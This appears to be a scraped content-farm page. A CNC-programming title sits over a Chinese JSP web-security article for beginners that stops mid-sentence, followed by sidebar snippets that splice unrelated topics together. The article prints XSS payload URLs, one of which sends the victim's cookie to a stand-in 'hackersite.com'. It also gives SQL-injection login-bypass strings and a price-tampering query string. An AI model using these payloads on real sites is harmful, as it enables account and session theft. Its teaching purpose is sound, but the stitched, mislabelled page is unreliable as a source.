您現在的位置是:電腦技術吧?>? 組裝維修 ??>??g04編程實例,g03編程實例??>??正文詳情

g04編程實例,g03編程實例

莘成濟2019-12-20 15:22:12 人圍觀
簡介數控車編程實例注解Java服務器頁面(JSP)作為一種構建動態web頁面的技術,正變得越來越流行。JSP不同于ASP、PHP和工作機制。通常,JSP頁面是在執行時編譯而不是解釋的數控車g03編程實

Java Server Page(JSP)作為建立動態網頁的技術正在不斷升溫。

JSP和ASP、PHP、工作機制不太一樣。

一般說來,JSP頁面在執行時是編譯式,而不是解釋式的。

首次調用JSP文件其實是執行一個編譯為Servlet的過程。

當瀏覽器向服務器請求這一個JSP文件的時候,服務器將檢查自上次編譯后JSP文件是否有改變,如果沒有改變,就直接執行Servlet,而不用再重新編譯,這樣,效率便得到了明顯提高。

今天我將和大家一起從腳本編程的角度看JSP的安全,那些諸如源碼暴露類的安全隱患就不在這篇文章討論范圍之內了。

寫這篇文章的主要目的是給初學JSP編程的朋友們提個醒,從一開始就要培養安全編程的意識,不要犯不該犯的錯誤,避免可以避免的損失。

一、認證不嚴 低級失誤user_manager.jsp是用戶管理的頁面,作者知道它的敏感性,加上了一把鎖:

if ((session.getValue(UserName)==null)││(session.getValue(UserClass)==null)││(! session.getValue(UserClass).equals(系統管理員))) {  response.sendRedirect(err.jsp?id=14);  return; }

如果要查看、修改某用戶的信息,就要用modifyuser_manager.jsp這個文件。

管理員提交http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51 就是查看、修改ID為51的用戶的資料(管理員默認的用戶ID為51)。

但是,如此重要的文件竟缺乏認證,普通用戶(包括游客)也直接提交上述請求也可以對其一覽無余(密碼也是明文存儲、顯示的)。

modifyuser_manage.jsp同樣是門戶大開,直到惡意用戶把數據更新的操作執行完畢,重定向到user_manager.jsp的時候,他才會看見那個姍姍來遲的顯示錯誤的頁面。

顯然,只鎖一扇門是遠遠不夠的,編程的時候一定要不厭其煩地為每一個該加身份認證的地方加上身份認證。

二、守好JavaBean的入口 JSP組件技術的核心是被稱為bean的java組件。

在程序中可把邏輯控制、數據庫操作放在javabeans組件中,然后在JSP文件中調用它,這樣可增加程序的清晰度及程序的可重用性。

和傳統的ASP或PHP頁面相比,JSP頁面是非常簡潔的,因為許多動態頁面處理過程可以封裝到JavaBean中。

要改變JavaBean屬性,要用到<jsp:setProperty>標記。

下面的代碼是假想的某電子購物系統的源碼的一部分,這個文件是用來顯示用戶的購物框中的信息的,而checkout.jsp是用來結帳的。

<jsp:useBean id=myBasket class=BasketBean> <jsp:setPropertyname=myBasket property=*/> <jsp:useBean> <html> <head><title>Your Basket</title></head> <body> <p> You have added the item <jsp::getProperty name=myBasket property=newItem/> to your basket. <br/> Your total is $ <jsp::getProperty name=myBasket property=balance/> Proceed to <a href=checkout.jsp>checkout</a>

注意到property=*了嗎?

這表明用戶在可見的JSP頁面中輸入的,或是直接通過Query String提交的全部變量的值,將存儲到匹配的bean屬性中。

一般,用戶是這樣提交請求的:

http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342

但是不守規矩的用戶呢?

他們可能會提交:

http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342balance=0

這樣,balance=0的信息就被在存儲到了JavaBean中了。

當他們這時點擊chekout結賬的時候,費用就全免了。

這與PHP中全局變量導致的安全問題如出一轍。

由此可見:property=*一定要慎用! 三、長盛不衰的跨站腳本 跨站腳本(Cross Site Scripting)攻擊是指在遠程WEB頁面的HTML代碼中手插入惡意的JavaScript, VBScript, ActiveX, HTML, 或Flash等腳本,竊取瀏覽此頁面的用戶的隱私,改變用戶的設置,破壞用戶的數據。

跨站腳本攻擊在多數情況下不會對服務器和WEB程序的運行造成影響,但對客戶端的安全構成嚴重的威脅。

舉個最簡單的例子。

當我們提交:

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie)</script>

便能彈出包含自己cookie信息的對話框。

而提交:

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com'</script>

就能重定向到網易。

由于在返回name變量的值給客戶端時,腳本沒有進行任何編碼或過濾惡意代碼,當用戶訪問嵌入惡意name變量數據鏈接時,會導致腳本代碼在用戶瀏覽器上執行,可能導致用戶隱私泄露等后果。

比如下面的鏈接:

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.hackersite.com/xxx.xxx?' document.cookie</script>

xxx.xxx用于收集后邊跟的參數,而這里參數指定的是document.cookie,也就是訪問此鏈接的用戶的cookie。

在ASP世界中,很多人已經把偷cookie的技術練得爐火純青了。

在JSP里,讀取cookie也不是難事。

當然,跨站腳本從來就不會局限于偷cookie這一項功能,相信大家都有一定了解,這里就不展開了。

對所有動態頁面的輸入和輸出都應進行編碼,可以在很大程度上避免跨站腳本的攻擊。

遺憾的是,對所有不可信數據編碼是資源密集型的工作,會對 Web 服務器產生性能方面的影響。

常用的手段還是進行輸入數據的過濾,比如下面的代碼就把危險的字符進行替換:

<% String message = request.getParameter(message); message = message.replace ('<','_'); message = message.replace ('>','_'); message = message.replace ('','_'); message = message.replace (''','_'); message = message.replace ('%','_'); message = message.replace (';','_'); message = message.replace ('(','_'); message = message.replace (')','_'); message = message.replace ('','_'); message = message.replace (' ','_'); %>

更積極的方式是利用正則表達式只允許輸入指定的字符:

public boolean isValidInput(String str) {  if(str.matches([a-z0-9] )) return true;  else return false; }

四、時刻牢記SQL注入一般的編程書籍在教初學者的時候都不注意讓他們從入門時就培養安全編程的習慣。

著名的JSP編程思想與實踐就是這樣向初學者示范編寫帶數據庫的登錄系統的(數據庫為MySQL

Statement stmt = conn.createStatement(); String checkUser = select * from login where username =' userName ' and userpassword = ' userPassword '; ResultSet rs = stmt.executeQuery(checkUser); if(rs.next())  response.sendRedirect(SuccessLogin.jsp); else  response.sendRedirect(FailureLogin.jsp);

這樣使得盡信書的人長期使用這樣先天帶洞的登錄代碼。

如果數據庫里存在一個名叫jack的用戶,那么在不知道密碼的情況下至少有下面幾種方法可以登錄:

用戶名:jack 密碼:' or 'a'='a 用戶名:jack 密碼:' or 1=1/* 用戶名:jack' or 1=1/* 密碼:(任意) lybbs(論壇)ver

Server在LogInOut.java中是這樣對登錄提交的數據進行檢查的:

if(s.equals()││ s1.equals()) throw new UserException(用戶名或密碼不能空。

); if(s.indexOf(') != -1 ││ s.indexOf() != -1││ s.indexOf(,) != -1 ││ s.indexOf() != -1) throw new UserException(用戶名不能包括 ' , 等非法字符。

); if(s1.indexOf(') != -1 ││ s1.indexOf() != -1││ s1.indexOf(*) != -1││ s1.indexOf() != -1) throw new UserException(密碼不能包括 ' * 等非法字符。

); if(s.startsWith( ) ││ s1.startsWith( )) throw new UserException(用戶名或密碼中不能用空格。

);

但是我不清楚為什么他只對密碼而不對用戶名過濾星號。

另外,正斜杠似乎也應該被列到黑名單中。

我還是認為用正則表達式只允許輸入指定范圍內的字符來得干脆。

這里要提醒一句:不要以為可以憑借某些php?/

版權聲明:本文由 莘成濟 整理編輯。

原標題:g01編程實例,數控編程實例解析

轉載注明出處:http://www.dn9ww09s.icu/assemble/15593.html

文章評論

    共有條評論來說兩句吧...

    用戶名:

    驗證碼:

作者推薦

  • ADO.NET,NET是什么

    ADO.NET,NET是什么 相關圖片futurenet在使用ASP時,我們經常使用第三方控件來實現一些圖像功能。現在,隨著asp.net的引入,我們不再需要使用第三方控件來實現它,因為asp.net具有強大的功能來net開源框架...

  • 如何設置服務器ip地址,服務器ip地址大全

    如何設置服務器ip地址,服務器ip地址大全 相關圖片查詢app服務器ip地址本文給出了一個用PHP獲取服務器IP地址的實例。與您分享以供參考。具體分析如下:在PHP中,我們通常使用$_server['http_host']在URL中獲取時間同步服務器ip地址...

  • 本年累計余額怎么算,養老保險累計賬戶余額

    本年累計余額怎么算,養老保險累計賬戶余額 相關圖片銀行日記賬的本年累計怎么算財務人員手工記賬時,會有借貸后的余額,即累計余額,即每個科目后記錄余額。如果使用計算機記賬,可以查詢完成累計余額的計算。首先,創建一個表...

  • excel人民幣大寫函數,人民幣大寫公式

    excel人民幣大寫函數,人民幣大寫公式 相關圖片excel數字轉人民幣大寫SQL server函數將人民幣數字轉換為大寫形式的創建函數[dbo]。[f﹣num﹣(@num numeric(14,5))返回帶加密的varchar(100電子表格人民幣大寫函數...

  • 無法解決的問題下還有八種解決方案,下淋最快的解決方案

    無法解決的問題下還有八種解決方案,下淋最快的解決方案 相關圖片技術方案和解決方案目前,大多數使用MySQL的網站同時使用Memcache作為密鑰值緩存。盡管這種架構非常流行,并且有很多成功的案例,但它過于依賴Memcache,這實際上使Me問題解決方案格式...

  • const extern,extern static

    const extern,extern static 相關圖片extern說明本文主要介紹如何在開發中使用常量、靜態和外部關鍵字。如果你喜歡我的文章,你可以關注我的微博:你可以到曉瑤閣來了解我們的iOS培訓課程。稍后將更新更多內容。。。...

  • 怎樣獲取select的值,獲取select2選中的值

    怎樣獲取select的值,獲取select2選中的值 相關圖片jsp獲取select選中的值本文的示例描述了JavaScript獲取select值的方法。與您分享以供參考。具體分析如下:1。顯示的漢字編碼如下:document.getelementbyselect下拉框提交值...

  • sql刪除重復數據,如何刪除重復數據

    sql刪除重復數據,如何刪除重復數據 相關圖片oracle恢復刪除的表有很多方法可以刪除Internet上的重復數據,例如delete from prod,grid,Inc其中ROWID in(選擇b.row,Id2 from(選表格刪除重復項...

  • 眼鏡框制作,手機中框和邊框的區別

    眼鏡框制作,手機中框和邊框的區別 相關圖片門窗框的固定方法在從ios8升級到ios9的過程中,彈出提示框的方式發生了很大的變化。在xcode7和ios9.0的SDK中,已經明確表示不再推薦使用UIAlertView,只怎樣調眼鏡框...

  • asp連接oracle數據庫,pl/sql developer

    asp連接oracle數據庫,pl/sql developer 相關圖片Oracle10g本文主要介紹了使用ODP的asp.net防注入登錄驗證程序,即Oracle連接方式。您可以參考Internet上許多SQL連接模式的登錄驗證,但是如果沒有Oracas和casshiro比較...

熱評文章

  • ios是誰開發的,ios用什么開發

    ios是誰開發的,ios用什么開發 相關圖片ios開發難嗎Fmdb是面向對象的。它以OC的形式封裝SQLite的C語言API。它使用方便,不需要太多的數據庫操作知識。但也存在一些問題,比如跨平臺。因為它是用OC語言封裝ios 開發教程...

  • 證書異常怎么解決方法,模塊異常4怎么解決

    證書異常怎么解決方法,模塊異常4怎么解決 相關圖片如何能解除模塊異常1在IIS6中同時啟用了asp.net 2.0和asp.net 4.0之后,網站程序可能會發生以下錯誤:system.web.httpexception:pathqq綁卡異常怎么解決...

  • 一波又一波,一波還來不及

    一波又一波,一波還來不及 相關圖片一波接一波本文主要介紹了一種實用的bash shell排序方法,它適用于Ubuntu和其他Debian-Linux系統。您可以將以下內容作為朋友的命令行資源管理器。你可能來一波是什么意思...

  • kotlin android開發,安卓開發框架

    kotlin android開發,安卓開發框架 相關圖片android開發語言本文主要介紹Android開發的IDE、ADT、SDK、JDK、NDK等術語的定義。對這些概念感到困惑是件痛苦的事。本文簡要說明了這些術語的含義。讓我們共同努力android系統...

  • excel的工作簿是,excel多個工作簿匯總

    excel的工作簿是,excel多個工作簿匯總 相關圖片excel批量合并工作簿學校希望以Excel文件的形式提交校友記錄中收集到的校友電子郵件地址,方便校友團體向全體校友發出參加校慶80周年的邀請。校友記錄數據庫是access mdb格式一個工作...

  • php將html轉化為word,phpword中文手冊

    php將html轉化為word,phpword中文手冊 相關圖片html5 word文件本文的例子描述了在PHP中將上傳的word文件轉換成HTML的方法。與您分享以供參考。具體實現方法如下:上傳頁面:?12345678910121314!DOCTphpword轉html閱讀...

  • 如何防范漏洞,怎樣防范漏洞

    如何防范漏洞,怎樣防范漏洞 相關圖片xss漏洞防范1。數據庫下載漏洞攻擊原理:當使用access作為后臺數據庫時,如果有人通過各種方法知道或猜測服務器的access數據庫路徑和數據庫名,也可以下載access數漏洞是怎么產生的...

  • 迭代算法的例子,迭代重建算法

    迭代算法的例子,迭代重建算法 相關圖片迭代計算什么意思在網頁上實現樹結構有點麻煩。在一個新的MIS系統的開發中,我們的項目組廣泛使用了樹形結構,如人員的選擇和單元的選擇。該MIS系統的數據庫是Oracle 9i,o斐波那契...

  • js 數組對象排序,js對象數組進行快去排序

    js 數組對象排序,js對象數組進行快去排序 相關圖片json對象數組asp.net中的ArrayList對象是包含單個數據值的數據項的集合。如何創建ArrayList對象以及如何對ArrayList中數據項的內容進行排序?下面是數組對象去重...

  • 在數組中查找指定元素,數組添加元素

    在數組中查找指定元素,數組添加元素 相關圖片怎么刪除數組中的某個元素本文的示例描述了JavaScript判斷數組是否包含指定元素的方法。與您分享以供參考。具體如下:該代碼通過prototype定義數組方法,以便調用contain如何刪除數組中...

關注微信

变脸官网查询